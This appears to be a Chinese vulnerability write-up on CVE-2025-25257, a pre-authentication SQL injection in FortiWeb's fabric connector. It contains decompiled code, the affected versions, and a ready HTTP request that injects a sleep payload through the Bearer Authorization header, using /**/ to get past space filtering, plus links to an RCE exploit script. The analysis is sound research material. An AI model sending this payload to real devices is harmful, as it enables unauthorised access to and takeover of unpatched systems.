Fortinet FortiWeb SQL注入 CVE-2025-25257

原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4ODg2MjQ5Mg==&mid=2247484142&idx=1&sn=b7b1520274e05a7c03c144e80761199c

Fortinet FortiWeb SQL注入 CVE-2025-25257

jsjs Resetlab 2025-07-14 12:50

以下 FortiWeb  Version版本 affected:

Version
Affected
Solution
FortiWeb 7.6
7.6.0 through 7.6.3
Upgrade to 7.6.4 or above
FortiWeb 7.4
7.4.0 through 7.4.7
Upgrade to 7.4.8 or above
FortiWeb 7.2
7.2.0 through 7.2.10
Upgrade to 7.2.11 or above
FortiWeb 7.0
7.0.0 through 7.0.10
Upgrade to 7.0.11 or above

导致sql注入漏洞位置在下方

__int64 __fastcall get_fabric_user_by_token(const char *a1)
{
  unsigned int v1; // ebx
  __int128 v3; // [rsp+0h] [rbp-4B0h] BYREF
  __int64 v4; // [rsp+10h] [rbp-4A0h]
  _BYTE v5[16]; // [rsp+20h] [rbp-490h] BYREF
  __int64 (__fastcall *v6)(_BYTE *); // [rsp+30h] [rbp-480h]
  __int64 (__fastcall *v7)(_BYTE *, char *); // [rsp+38h] [rbp-478h]
  void (__fastcall *v8)(_BYTE *); // [rsp+58h] [rbp-458h]
  __int64 (__fastcall *v9)(_BYTE *, __int128 *); // [rsp+60h] [rbp-450h]
  void (__fastcall *v10)(__int128 *); // [rsp+68h] [rbp-448h]
  char s[16]; // [rsp+80h] [rbp-430h] BYREF
  _BYTE v12[1008]; // [rsp+90h] [rbp-420h] BYREF
  unsigned __int64 v13; // [rsp+488h] [rbp-28h]

  v13 = __readfsqword(0x28u);
  *(_OWORD *)s = 0;
  memset(v12, 0, sizeof(v12));
  if ( a1 && *a1 )
  {
    init_ml_db_obj((__int64)v5);
    v1 = v6(v5);
    if ( !v1 )
    {

        **// VULN
      snprintf(s, 0x400u, "select id from fabric_user.user_table where token='%s'", a1);**


      v1 = v7(v5, s);
      if ( !v1 )
      {
        v4 = 0;
        v3 = 0;
        v1 = v9(v5, &v3);
        if ( !v1 )
        {
          if ( (_DWORD)v3 == 1 )
          {
            v10(&v3);
          }
          else
          {
            v10(&v3);
            v1 = -3;
          }
        }
      }
    }
    v8(v5);
  }
  else
  {
    return (unsigned int)-1;
  }
  return v1;
}

snprintf(s, 0x400u, “select id from fabric_user.user_table where token=’%s'”, a1);

通过传入进来的a1  进行直接拼接导致sql注入,查询conf配置文件

<Location &#34;/api/fabric/device/status&#34;>
    SetHandler fabric_device_status-handler
</Location>

<Location &#34;/api/fabric/authenticate&#34;>
    SetHandler fabric_authenticate-handler
</Location>

<Location ~ &#34;/api/v[0-9]/fabric/widget&#34;>
    SetHandler fabric_widget-handler
</Location>

在ida里交叉引用上面的函数

发现sub_55ED2EED05F0 –> /api/fabric/device/status

逆向下sub_55ED2EED05F0这个函数里

__int64 __fastcall sub_55ED2EED05F0(__int64 a1)
{
  const char *v2; // rdi
  unsigned int v3; // r13d
  __int64 v5; // r12
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // r14
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // r14
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rdx
  __int64 v18; // rcx
  __int64 v19; // r14
  __int64 v20; // rax
  const char *v21; // rax
  size_t v22; // rax
  const char *v23; // rax

  v2 = *(const char **)(a1 + 296);
  if ( !v2 )
    return (unsigned int)-1;
  v3 = strcmp(v2, &#34;fabric_device_status-handler&#34;);
  if ( v3 )
  {
    return (unsigned int)-1;
  }
  else if ( (unsigned int)fabric_access_check(a1) )             // [1]
  {
    v5 = json_object_new_object(a1);
    v6 = json_object_new_string(nCfg_debug_zone + 4888LL);
    json_object_object_add(v5, &#34;serial&#34;, v6);
    v7 = json_object_new_string(&#34;fortiweb&#34;);
    json_object_object_add(v5, &#34;device_type&#34;, v7);
    v8 = json_object_new_string(&#34;FortiWeb-VM&#34;);
    json_object_object_add(v5, &#34;model&#34;, v8);
    v9 = json_object_new_object(v5);
    v10 = json_object_new_int(7);
    json_object_object_add(v9, &#34;major&#34;, v10);
    v11 = json_object_new_int(6);
    json_object_object_add(v9, &#34;minor&#34;, v11);
    v12 = json_object_new_int(3);
    json_object_object_add(v9, &#34;patch&#34;, v12);
    json_object_object_add(v5, &#34;version&#34;, v9);
    v13 = json_object_new_object(v5);
    v14 = json_object_new_int(1043);


在fabric_access_check(a1)  调用 fabric_access_check函数

__int64 __fastcall fabric_access_check(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  _OWORD v4[8]; // [rsp+0h] [rbp-A0h] BYREF
  char v5; // [rsp+80h] [rbp-20h]
  unsigned __int64 v6; // [rsp+88h] [rbp-18h]

  v1 = *(_QWORD *)(a1 + 248);
  v6 = __readfsqword(0x28u);
  v5 = 0;
  memset(v4, 0, sizeof(v4));
  v3 = apr_table_get(v1, &#34;Authorization&#34;); // [1]
  if ( (unsigned int)__isoc23_sscanf(v2, &#34;Bearer %128s&#34;, v4) != 1 ) // [2]
    return 0;
  v5 = 0;
  if ( (unsigned int)fabric_user_db_init()
    || (unsigned int)refresh_fabric_user()
    || (unsigned int)get_fabric_user_by_token((const char *)v4) ) // [3]
  {
    return 0;
  }
  else
  {
    return 2 * (unsigned int)((unsigned int)update_fabric_user_expire_time_by_token((const char *)v4) == 0);
  }
}


通过apr_table_get函数提取http内容Authorization的值赋值给v3

利用__isoc23_sscanf  解析Bearer 之后的内容并且进行输入 运行输入128个字节

随后传入到get_fabric_user_by_token,也就是漏洞点,进行sql注入

GET /api/fabric/device/status HTTP/1.1
Host: ip
Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'

因为空格截断,所以用/**/ 代替空格即可

具体shell脚本可以参考以下链接:

https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/

https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257/blob/main/watchTowr-vs-FortiWeb-CVE-2025-25257.py